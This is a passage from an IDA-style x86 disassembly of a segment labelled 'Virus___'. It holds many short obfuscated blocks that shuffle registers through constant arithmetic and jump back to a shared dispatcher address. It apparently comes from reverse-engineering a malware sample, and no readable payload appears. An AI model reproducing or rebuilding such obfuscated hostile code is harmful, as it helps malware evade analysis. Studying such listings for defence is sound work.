		jmp	loc_57B2B7
; ---------------------------------------------------------------------------


loc_57A49D:				; CODE XREF: Virus___:0057D1F1j
		push	edx
		push	esp
		pop	edx
		jmp	loc_57A3E9
; ---------------------------------------------------------------------------


loc_57A4A5:				; CODE XREF: Virus___:005779C2j
		mov	ebp, 2
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_578A0C
; ---------------------------------------------------------------------------


loc_57A4B5:				; CODE XREF: Virus___:00577529j
		xor	eax, edi
		pop	edi
		jmp	loc_57B687
; ---------------------------------------------------------------------------


loc_57A4BD:				; CODE XREF: Virus___:0057BABCj
		push	ebx
		mov	bh, 1Fh
		push	ecx
		mov	ch, bh
		mov	dh, ch
		mov	ecx, [esp]
		jmp	loc_57B2D6
; ---------------------------------------------------------------------------


loc_57A4CD:				; CODE XREF: Virus___:0057C889j
		mov	[esp], ax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57A4D6:				; CODE XREF: Virus___:0057A94Cj
		not	dword ptr [esp]
		pop	eax
		shr	eax, 8
		add	eax, 0FF94FC42h
		add	ebx, eax
		pop	eax
		jmp	loc_574FD2
; ---------------------------------------------------------------------------


loc_57A4EA:				; CODE XREF: Virus___:0057726Aj
		add	eax, ecx
		add	eax, 35EB4769h
		jmp	loc_574B57
; ---------------------------------------------------------------------------


loc_57A4F6:				; CODE XREF: Virus___:00574682j
		push	esi
		pop	edi
		mov	esi, [esp]
		jmp	loc_57C2CD
; ---------------------------------------------------------------------------


loc_57A500:				; CODE XREF: Virus___:0057E49Bj
		pop	ebx
		add	ebx, 0C08E606h
		mov	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5743FA
; ---------------------------------------------------------------------------


loc_57A51D:				; CODE XREF: Virus___:0057C937j
		add	ecx, 2
		jmp	loc_57CD8B
; ---------------------------------------------------------------------------


loc_57A528:				; CODE XREF: Virus___:0057D9C2j
		xor	[esp], edx
		jmp	loc_576399
; ---------------------------------------------------------------------------


loc_57A530:				; CODE XREF: Virus___:005776ABj
		push	4587h
		mov	[esp], ebp
		mov	ebp, ebx
		push	ebp
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		push	edx
		push	ebp
		mov	ebp, 62B17FB8h
		jmp	loc_573229
; ---------------------------------------------------------------------------


loc_57A54F:				; CODE XREF: Virus___:00578979j
		push	ebx
		push	esi
		mov	esi, 4F71410Dh
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_575F37
; ---------------------------------------------------------------------------


loc_57A563:				; CODE XREF: Virus___:0057C7B6j
		add	ecx, edx
		add	ecx, 7384F8Eh
		push	edx
		jmp	loc_57AE5E
; ---------------------------------------------------------------------------


loc_57A571:				; CODE XREF: Virus___:00576B7Ej
		mov	esi, 47CC6DF1h
		or	esi, 33FF23B7h
		inc	esi
		neg	esi
		jmp	loc_57E74F
; ---------------------------------------------------------------------------


loc_57A584:				; CODE XREF: Virus___:00573873j
		sub	ebx, 5B5A7DF5h
		xor	ebx, 0B740B79Ah
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_574955
; ---------------------------------------------------------------------------


loc_57A59F:				; CODE XREF: Virus___:0057C46Aj
		sub	edx, 10C651F5h
		add	ebp, 1F621493h
		add	ebp, edx
		sub	ebp, 1F621493h
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		jmp	loc_57808C
; ---------------------------------------------------------------------------


loc_57A5CF:				; CODE XREF: Virus___:0057BBD5j
		push	ecx
		jmp	loc_573F5A
; ---------------------------------------------------------------------------


loc_57A5D5:				; CODE XREF: Virus___:0057D943j
		add	edx, ebx
		jmp	loc_574220
; ---------------------------------------------------------------------------


loc_57A5DC:				; CODE XREF: Virus___:0057D65Bj
		sub	ecx, edi
		pop	edi
		jmp	loc_575284
; ---------------------------------------------------------------------------


loc_57A5E4:				; CODE XREF: Virus___:0057AC3Bj
		add	ecx, eax
		jmp	loc_57EB96
; ---------------------------------------------------------------------------


loc_57A5EB:				; CODE XREF: Virus___:00572C74j
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	ebx
		xchg	eax, ebx
		jmp	loc_57A7FD
; ---------------------------------------------------------------------------


loc_57A5FA:				; CODE XREF: Virus___:00574982j
		mov	ecx, [esp]
		add	esp, 4
		or	eax, 8BB4367h
		shl	eax, 6
		xor	eax, 3ED2E087h
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57A615:				; CODE XREF: Virus___:0057931Aj
		mov	dh, ah
		pop	ax
		push	ebx
		push	edx
		mov	dh, 0E2h
		mov	bl, 0EDh
		jmp	loc_5759C8
; ---------------------------------------------------------------------------


loc_57A624:				; CODE XREF: Virus___:00578F55j
		add	[eax], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57AE22
; ---------------------------------------------------------------------------


loc_57A634:				; CODE XREF: Virus___:00575BC3j
		add	edx, esi
		add	edx, 438D38E1h
		pop	esi
		jmp	loc_573DA0
; ---------------------------------------------------------------------------


loc_57A642:				; CODE XREF: Virus___:0057DDD3j
		mov	[esp], ebx
		push	esi
		jmp	loc_57B40D
; ---------------------------------------------------------------------------


loc_57A64B:				; CODE XREF: Virus___:0057A7DCj
		add	ebx, ebp
		pop	ebp
		jmp	loc_57D315
; ---------------------------------------------------------------------------


loc_57A653:				; CODE XREF: Virus___:00578273j
		pop	esi
		pop	edi
		xor	ebp, [esp]
		jmp	loc_57D560
; ---------------------------------------------------------------------------


loc_57A65D:				; CODE XREF: Virus___:0057DD78j
		xchg	eax, esi
		jmp	loc_57DD13
; ---------------------------------------------------------------------------


loc_57A663:				; CODE XREF: Virus___:0057902Cj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57A668:				; CODE XREF: Virus___:0057E801j
		add	ebx, 6DD259B1h
		add	ebx, edi
		sub	ebx, 6DD259B1h
		jmp	loc_57AB7B
; ---------------------------------------------------------------------------


loc_57A67B:				; CODE XREF: Virus___:00579807j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 7AA37185h
		add	ebx, ebp
		pop	ebp
		push	eax
		push	535642E2h
		pop	eax
		jmp	loc_5798EB
; ---------------------------------------------------------------------------


loc_57A699:				; CODE XREF: Virus___:005779F7j
		sub	bl, dh
		jmp	loc_57D97A
; ---------------------------------------------------------------------------


loc_57A6A0:				; CODE XREF: Virus___:005753F0j
		add	dx, 35E7h
		or	dx, 3E46h
		neg	dx
		dec	dx
		push	small 3B0Ah
		mov	[esp], bp
		mov	bp, 0DD86h
		add	dx, bp
		jmp	loc_577259
; ---------------------------------------------------------------------------


loc_57A6C3:				; CODE XREF: Virus___:0057E92Bj
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_577CE9
; ---------------------------------------------------------------------------


loc_57A6CF:				; CODE XREF: Virus___:0057BCAAj
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_572DF9
; ---------------------------------------------------------------------------


loc_57A6F2:				; CODE XREF: Virus___:0057D165j
		pop	ebx
		push	ebx
		push	ecx
		jmp	loc_57C6E6
; ---------------------------------------------------------------------------


loc_57A6FA:				; CODE XREF: Virus___:00576C46j
		pop	edi
		add	eax, ecx
		jmp	loc_57497D
; ---------------------------------------------------------------------------


loc_57A702:				; CODE XREF: Virus___:00577BBBj
		mov	edx, 6B83300Ch
		jmp	loc_575817
; ---------------------------------------------------------------------------


loc_57A70C:				; CODE XREF: Virus___:00579157j
		add	eax, 29BD0336h
		jmp	loc_57E5EC
; ---------------------------------------------------------------------------


loc_57A716:				; CODE XREF: Virus___:00573D1Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57997F
; ---------------------------------------------------------------------------


loc_57A721:				; CODE XREF: Virus___:0057DBFAj
		add	ebx, edi
		push	edi
		mov	edi, 67194323h
		add	edi, 0C7CA165Bh
		jmp	loc_57AF31
; ---------------------------------------------------------------------------


loc_57A734:				; CODE XREF: Virus___:005777DBj
		pop	esi
		xor	ebx, 12E56D8Ah
		add	esi, ebx
		jmp	loc_57B0E2
; ---------------------------------------------------------------------------


loc_57A742:				; CODE XREF: Virus___:0057CD05j
		dec	edi
		xor	edi, 36A5390Ch
		and	edi, 37207B5Fh
		add	edi, 2165E32h
		sub	edi, 331B484Ch
		jmp	loc_57BF27
; ---------------------------------------------------------------------------


loc_57A760:				; CODE XREF: Virus___:00576DA4j
		not	edx
		jmp	loc_5744A6
; ---------------------------------------------------------------------------


loc_57A767:				; CODE XREF: Virus___:0057440Fj
		pop	ebp
		push	ebx
		jmp	loc_577BEE
; ---------------------------------------------------------------------------


loc_57A76E:				; CODE XREF: Virus___:0057F019j
		add	edi, 1
		shr	edi, 7
		xor	edi, 4E87643Dh
		jmp	loc_57D233
; ---------------------------------------------------------------------------


loc_57A782:				; CODE XREF: Virus___:005766F0j
		sub	edi, edx
		push	ebx
		mov	ebx, 38C72845h
		jmp	loc_57E668
; ---------------------------------------------------------------------------


loc_57A78F:				; CODE XREF: Virus___:0057B246j
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 1Ch
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 6DC233D2h
		add	eax, edi
		sub	eax, 6DC233D2h
		push	dword ptr [eax]
		add	dword ptr [esp], 7FB46CF0h
		jmp	loc_57B596
; ---------------------------------------------------------------------------


loc_57A7BD:				; CODE XREF: Virus___:00575637j
		push	small 165h
		mov	[esp], cx
		mov	ch, 0EFh
		jmp	loc_573E47
; ---------------------------------------------------------------------------


loc_57A7CC:				; CODE XREF: Virus___:00573577j
		sub	[edi+20h], eax
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_57A64B
; ---------------------------------------------------------------------------


loc_57A7E1:				; CODE XREF: Virus___:005788A6j
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_577F79
; ---------------------------------------------------------------------------


loc_57A7EE:				; CODE XREF: Virus___:00578EC7j
		push	ecx
		push	edx
		mov	dl, 0F5h
		mov	cl, dl
		push	dword ptr [esp]
		pop	edx
		jmp	loc_57698E
; ---------------------------------------------------------------------------


loc_57A7FD:				; CODE XREF: Virus___:0057A5F5j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5761E2
; ---------------------------------------------------------------------------


loc_57A80B:				; CODE XREF: Virus___:00577325j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57A810:				; CODE XREF: Virus___:0057B988j
		xor	ebx, [esp]
		pop	esp
		sub	eax, 2AA02CDh
		jmp	loc_577DCD
; ---------------------------------------------------------------------------


loc_57A81E:				; CODE XREF: Virus___:00575E9Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 2000000h
		jmp	loc_57B001
; ---------------------------------------------------------------------------


loc_57A82F:				; CODE XREF: Virus___:00574978j
		not	ah
		sub	ah, 0AFh
		xor	ch, ah
		pop	eax
		push	bx
		mov	bl, 0D2h
		xor	ch, bl
		pop	bx
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 0A3h
		dec	bh
		add	bh, 1
		and	bh, 6Bh
		dec	bh
		add	bh, 1
		sub	bh, 3Fh
		xor	bh, 0D0h
		add	bh, 1Fh
		jmp	loc_57E12D
; ---------------------------------------------------------------------------


loc_57A868:				; CODE XREF: Virus___:00578306j
		push	edx
		mov	dh, 14h
		dec	dh
		and	dh, 0ECh
		sub	dh, 96h
		jmp	loc_574A0C
; ---------------------------------------------------------------------------


loc_57A878:				; CODE XREF: Virus___:005761DDj
		pop	ebx
		mov	ebp, 0EBD62B8Dh
		jmp	loc_574252
; ---------------------------------------------------------------------------


loc_57A883:				; CODE XREF: Virus___:0057EE9Bj
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_575FED
; ---------------------------------------------------------------------------


loc_57A894:				; CODE XREF: Virus___:0057C4A7j
		push	esp
		jmp	loc_5744C0
; ---------------------------------------------------------------------------


loc_57A89A:				; CODE XREF: Virus___:00578A17j
		pop	edx
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_577FD7
; ---------------------------------------------------------------------------


loc_57A8A7:				; CODE XREF: Virus___:00578FC7j
		add	esp, 4
		pop	eax
		push	eax
		mov	ah, 0FFh
		jmp	loc_57AFD1
; ---------------------------------------------------------------------------


loc_57A8B6:				; CODE XREF: Virus___:005752ACj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_574F1A
; ---------------------------------------------------------------------------


loc_57A8C2:				; CODE XREF: Virus___:0057D3FEj
		dec	ebp
		add	ebp, 0CE97580Eh
		mov	ecx, ebp
		pop	ebp
		sub	ebp, ecx
		jmp	loc_579A74
; ---------------------------------------------------------------------------


loc_57A8D3:				; CODE XREF: Virus___:0057C144j
		push	esi
		push	eax
		jmp	loc_574040
; ---------------------------------------------------------------------------


loc_57A8DA:				; CODE XREF: Virus___:00574769j
		xor	ecx, 6E000FBCh
		xor	ecx, 0F566813Ch
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, eax
		push	ecx
		jmp	loc_57D4E5
; ---------------------------------------------------------------------------


loc_57A8F9:				; CODE XREF: Virus___:00572A87j
		mov	dl, al
		mov	ch, dl
		jmp	loc_577F94
; ---------------------------------------------------------------------------


loc_57A902:				; CODE XREF: Virus___:0057BC7Fj
		push	edx
		mov	edx, 11796105h
		sub	[esp+4], edx
		jmp	loc_57595D
; ---------------------------------------------------------------------------


loc_57A911:				; CODE XREF: Virus___:0057BA53j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_57B8AB
; ---------------------------------------------------------------------------


loc_57A91D:				; CODE XREF: Virus___:0057CEA4j
		add	ebx, 70927420h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5794F7
; ---------------------------------------------------------------------------


loc_57A931:				; CODE XREF: Virus___:005744E6j
		sub	dword ptr [esp+4], 20F2068Dh
		add	[esp+4], edx
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 59EF0104h
		add	eax, 3B0D3C6Bh
		push	eax
		jmp	loc_57A4D6
; ---------------------------------------------------------------------------


loc_57A951:				; CODE XREF: Virus___:00573AF5j
		push	esi
		mov	esi, 72A90557h
		jmp	loc_5752B1
; ---------------------------------------------------------------------------


loc_57A95C:				; CODE XREF: Virus___:00574E55j
		sub	ax, dx
		add	ax, 2993h
		add	ax, 2C3Eh
		jmp	loc_574FE1
; ---------------------------------------------------------------------------


loc_57A96C:				; CODE XREF: Virus___:005782FBj
		pop	edx
		jmp	loc_57C95A
; ---------------------------------------------------------------------------


loc_57A972:				; CODE XREF: Virus___:00577EBBj
		mov	esp, [esp]
		mov	[esp], ecx
		push	24EF0CEDh
		pop	ecx
		xor	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 1498512Ch
		or	ebx, 6A2419FAh
		xor	ebx, 7EBC59FAh
		jmp	loc_574C72
; ---------------------------------------------------------------------------
		lodsw
		push	2792h
		mov	[esp], edx
		jmp	loc_5735DE
; ---------------------------------------------------------------------------


loc_57A9AA:				; CODE XREF: Virus___:00574DD1j
		add	eax, 4
		jmp	loc_5780F6
; ---------------------------------------------------------------------------


loc_57A9B4:				; CODE XREF: Virus___:0057EE75j
		add	al, bl
		jmp	loc_57CFEF
; ---------------------------------------------------------------------------


loc_57A9BB:				; CODE XREF: Virus___:0057DB53j
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57DF33
; ---------------------------------------------------------------------------


loc_57A9C9:				; CODE XREF: Virus___:005742BFj
		pop	esp
		mov	cx, [esp]
		push	4F89h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4DEB3F99h
		add	eax, 5CD45803h
		shr	eax, 3
		sub	eax, 1557F2EFh
		add	ebp, eax
		pop	eax
		push	edi
		jmp	loc_576FBE
; ---------------------------------------------------------------------------


loc_57A9F4:				; CODE XREF: Virus___:00573CAEj
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		mov	edx, 5AB978A1h
		shr	edx, 5
		jmp	loc_57CE28
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4B0Fh
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 55E03155h
		push	eax
		mov	eax, 1EDA4E05h
		or	esi, eax
		pop	eax
		jmp	loc_573135
; ---------------------------------------------------------------------------


loc_57AA3C:				; CODE XREF: Virus___:0057D982j
		xor	dh, 75h
		xor	dh, 99h
		sub	bl, dh
		pop	edx
		sub	bl, 70h
		add	bl, al
		push	edx
		mov	dl, 33h
		inc	dl
		and	dl, 6Eh
		shl	dl, 5
		jmp	loc_57C793
; ---------------------------------------------------------------------------


loc_57AA5A:				; CODE XREF: Virus___:0057969Ej
		push	eax
		mov	ah, 0Eh
		xchg	bh, ah
		dec	bh
		jmp	loc_57B29B
; ---------------------------------------------------------------------------


loc_57AA66:				; CODE XREF: Virus___:0057BF4Bj
		add	ebp, edi
		jmp	loc_57E442
; ---------------------------------------------------------------------------


loc_57AA6D:				; CODE XREF: Virus___:0057997Aj
		mov	ebp, 11EF172Eh
		xor	ecx, ebp
		pop	ebp
		push	edi
		jmp	loc_5746C4
; ---------------------------------------------------------------------------


loc_57AA7B:				; CODE XREF: Virus___:0057B4F4j
		sub	esp, 4
		jmp	loc_5786F2
; ---------------------------------------------------------------------------


loc_57AA83:				; CODE XREF: Virus___:00573D91j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5749BA
; ---------------------------------------------------------------------------


loc_57AA91:				; CODE XREF: Virus___:0057634Bj
		mov	ebp, 36F94AE8h
		sub	esp, 4
		mov	[esp], edx
		push	44A74FDDh
		mov	edx, [esp]
		add	esp, 4
		add	edx, 14050CC2h
		neg	edx
		add	edx, 22957E21h
		jmp	loc_57E744
; ---------------------------------------------------------------------------


loc_57AAC0:				; CODE XREF: Virus___:00573E78j
		neg	esi
		jmp	loc_57CB85
; ---------------------------------------------------------------------------


loc_57AAC7:				; CODE XREF: Virus___:00578740j
		pop	edi
		jmp	loc_574E9D
; ---------------------------------------------------------------------------


loc_57AACD:				; CODE XREF: Virus___:0057CAFBj
		push	dword ptr [esp]
		jmp	loc_574795
; ---------------------------------------------------------------------------


loc_57AAD5:				; CODE XREF: Virus___:0057893Cj
		pop	ebx
		mov	dh, cl
		pop	ecx
		jmp	loc_572FDA
; ---------------------------------------------------------------------------


loc_57AADE:				; CODE XREF: Virus___:00574790j
		xor	al, bh
		jmp	loc_57E685
; ---------------------------------------------------------------------------


loc_57AAE5:				; CODE XREF: Virus___:0057D648j
		sub	edx, ebx
		jmp	loc_57C8EB
; ---------------------------------------------------------------------------


loc_57AAEC:				; CODE XREF: Virus___:00577451j
		shl	ecx, 4
		inc	ecx
		push	242Ah
		jmp	loc_576F7B
; ---------------------------------------------------------------------------


loc_57AAFA:				; CODE XREF: Virus___:00577BFDj
		mov	[esp], ebp
		mov	ebp, 3CC26ED3h
		jmp	loc_579B6A
; ---------------------------------------------------------------------------


loc_57AB07:				; CODE XREF: Virus___:0057D2D5j
		mov	esp, [esp]
		mov	[esp], ebx
		push	0FEh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57373D
; ---------------------------------------------------------------------------


loc_57AB1D:				; CODE XREF: Virus___:00573DA3j
		push	0
		jmp	loc_572B56
; ---------------------------------------------------------------------------


loc_57AB27:				; CODE XREF: Virus___:00575A37j
		mov	edx, 3C452DDDh
		or	eax, edx
		pop	edx
		and	eax, 6D132366h
		push	ecx
		mov	ecx, 5ADB4CADh
		xor	eax, ecx
		jmp	loc_573968
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 43F36D01h
		push	ebx
		mov	ebx, 48967E93h
		sub	ebx, 44750CAFh
		xor	ebx, 3BB061BEh
		sub	ebx, 2A09A024h
		xor	eax, ebx
		pop	ebx
		sub	eax, 56741D33h
		jmp	loc_57B520
; ---------------------------------------------------------------------------


loc_57AB73:				; CODE XREF: Virus___:0057CF13j
		add	esp, 4
		jmp	loc_579FD4
; ---------------------------------------------------------------------------


loc_57AB7B:				; CODE XREF: Virus___:0057A676j
		add	ebx, 50991256h
		jmp	loc_57E14D
; ---------------------------------------------------------------------------


loc_57AB86:				; CODE XREF: Virus___:0057D1BBj
		add	edi, ecx
		pop	ecx
		jmp	loc_5736A3
; ---------------------------------------------------------------------------


loc_57AB8E:				; CODE XREF: Virus___:0057DC91j
		sub	esi, ecx
		jmp	loc_573B3B
; ---------------------------------------------------------------------------


loc_57AB95:				; CODE XREF: Virus___:0057DEABj
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 0A6h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57ABAC:				; CODE XREF: Virus___:00578F7Fj
		add	eax, 39F0C4Eh
		pop	ebp
		pop	edi
		shl	eax, cl
		push	ebx
		jmp	loc_57495A
; ---------------------------------------------------------------------------


loc_57ABBB:				; CODE XREF: Virus___:0057BBBAj
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		bswap	eax
		jmp	loc_57408F
; ---------------------------------------------------------------------------


loc_57ABD1:				; CODE XREF: Virus___:00577AABj
		add	ecx, 0FFFFFFFFh
		sub	ecx, 1024B001h
		jmp	loc_5772CE
; ---------------------------------------------------------------------------


loc_57ABDF:				; CODE XREF: Virus___:00579D07j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		push	1D33h
		mov	[esp], ebx
		jmp	loc_57615E
; ---------------------------------------------------------------------------


loc_57ABF8:				; CODE XREF: Virus___:00573C36j
		pop	esp
		mov	[esp], ax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57AC02:				; CODE XREF: Virus___:00578093j
		and	[esp], al
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57AC0B:				; CODE XREF: Virus___:0057DD18j
		sub	ebx, eax
		pop	eax
		add	esi, ebx
		jmp	loc_577852
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_573B5F
; ---------------------------------------------------------------------------


loc_57AC1C:				; CODE XREF: Virus___:0057CD7Cj
		push	ebx
		mov	ebx, 3BCF3A24h
		jmp	loc_57E78E
; ---------------------------------------------------------------------------


loc_57AC27:				; CODE XREF: Virus___:00577FD2j
		neg	ecx
		shr	ecx, 3
		neg	ecx
		push	764h
		mov	[esp], eax
		mov	eax, 58478E11h
		jmp	loc_57A5E4
; ---------------------------------------------------------------------------


loc_57AC40:				; CODE XREF: Virus___:0057DB5Aj
		add	eax, 25DB8732h
		sub	ecx, eax
		pop	eax
		jmp	loc_576BA6
; ---------------------------------------------------------------------------


loc_57AC4D:				; CODE XREF: Virus___:00572F60j
		add	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 40h
		neg	cl
		add	cl, 8Ch
		jmp	loc_57BB0A
; ---------------------------------------------------------------------------


loc_57AC62:				; CODE XREF: Virus___:0057D625j
		or	ebx, 44346452h
		xor	ebx, 2CE723A2h
		and	ebx, 5D8C7B47h
		shl	ebx, 3
		sub	ebx, 2C6D781Eh
		xor	ebx, 5BD55A0Eh
		sub	esi, 7CAE37BCh
		add	esi, ebx
		add	esi, 7CAE37BCh
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_576E86
; ---------------------------------------------------------------------------


loc_57ACA5:				; CODE XREF: Virus___:0057C4E9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_57DF00
; ---------------------------------------------------------------------------


loc_57ACB9:				; CODE XREF: Virus___:0057D514j
		sub	esi, 71E152C0h
		xor	esi, 0B15F11D5h
		jmp	loc_579A2A
; ---------------------------------------------------------------------------


loc_57ACCA:				; CODE XREF: Virus___:00579A3Ej
		push	2ABAh
		jmp	loc_575459
; ---------------------------------------------------------------------------


loc_57ACD4:				; CODE XREF: Virus___:0057DF92j
		shr	ebx, 5
		shr	ebx, 5
		and	ebx, 7E5B0E6Fh
		jmp	loc_57D15A
; ---------------------------------------------------------------------------


loc_57ACE5:				; CODE XREF: Virus___:00573738j
		mov	esp, [esp]
		imul	ecx
		push	7D5Ch
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57ACF9:				; CODE XREF: Virus___:0057CCC0j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_57D325
; ---------------------------------------------------------------------------
		push	765Ch
		mov	[esp], ecx
		push	ebp
		mov	ebp, 3Ch
		mov	ecx, ebp
		pop	ebp
		add	ecx, edi
		push	dword ptr [ecx]
		jmp	loc_57ECA8
; ---------------------------------------------------------------------------


loc_57AD21:				; CODE XREF: Virus___:0057E3DFj
		add	ebx, ecx
		pop	ecx
		sub	ebx, 32615DD5h
		add	ebx, edi
		add	ebx, 32615DD5h
		sub	ebx, 450C3AD0h
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 392741A1h
		sub	ebx, 68063354h
		jmp	loc_576534
; ---------------------------------------------------------------------------


loc_57AD4F:				; CODE XREF: Virus___:00576863j
		pop	esi
		add	esi, 6F84C4D7h
		mov	ebx, esi
		jmp	loc_574A1A
; ---------------------------------------------------------------------------


loc_57AD5D:				; CODE XREF: Virus___:00573887j
		sub	esp, 4
		jmp	loc_5736D5
; ---------------------------------------------------------------------------


loc_57AD65:				; CODE XREF: Virus___:0057BE1Bj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57AD6A:				; CODE XREF: Virus___:00579055j
		add	esp, 4
		shl	ecx, 1
		sub	ecx, 1
		neg	ecx
		add	ecx, 57E14771h
		mov	eax, ecx
		jmp	loc_5758DC
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_57E900
; ---------------------------------------------------------------------------


loc_57AD8D:				; CODE XREF: Virus___:00573E5Dj
		push	2093h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	5CEDh
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 29263DAFh
		not	ebp
		add	ebp, 75D002C6h
		push	edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_57D98D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	9Ah
		mov	[esp], ebx
		jmp	loc_578430
; ---------------------------------------------------------------------------


loc_57ADE3:				; CODE XREF: Virus___:0057C738j
		pop	ecx
		add	esp, 4
		add	[esp+4], ecx
		jmp	loc_575D8B
; ---------------------------------------------------------------------------


loc_57ADF3:				; CODE XREF: Virus___:0057B662j
		dec	edi
		add	edi, 5C6226DFh
		mov	ebp, edi
		pop	edi
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		push	eax
		jmp	loc_57E520
; ---------------------------------------------------------------------------


loc_57AE0E:				; CODE XREF: Virus___:0057529Aj
		add	edx, 202B0306h
		sub	eax, edx
		pop	edx
		push	edx
		push	453Bh
		jmp	loc_574811
; ---------------------------------------------------------------------------


loc_57AE22:				; CODE XREF: Virus___:0057A62Fj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57AE27:				; CODE XREF: Virus___:0057D455j
		or	ebp, 77CB7922h
		and	ebp, 1B39444Ch
		push	edx
		mov	edx, 0EFCA6CAh
		sub	ebp, 361B56F8h
		sub	ebp, edx
		add	ebp, 361B56F8h
		pop	edx
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		jmp	loc_5732B6
; ---------------------------------------------------------------------------


loc_57AE56:				; CODE XREF: Virus___:0057DE33j
		mov	ebp, [esp]
		jmp	loc_57B3F9
; ---------------------------------------------------------------------------


loc_57AE5E:				; CODE XREF: Virus___:0057A56Cj
		mov	edx, 7D866FA1h
		sub	ecx, edx
		jmp	loc_57BD13
; ---------------------------------------------------------------------------


loc_57AE6A:				; CODE XREF: Virus___:00572B45j
		push	eax
		mov	eax, 1163D24h
		add	eax, 1
		shl	eax, 2
		and	eax, 2E9B5B47h
		xor	eax, 4FFF137Ah
		xor	eax, 4BE7437Ah
		sub	ecx, 4E2729CEh
		add	ecx, eax
		add	ecx, 4E2729CEh
		pop	eax
		push	esi
		jmp	loc_5799AC
; ---------------------------------------------------------------------------


loc_57AE9C:				; CODE XREF: Virus___:00573F55j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57CE07
; ---------------------------------------------------------------------------


loc_57AEA7:				; CODE XREF: Virus___:00579309j
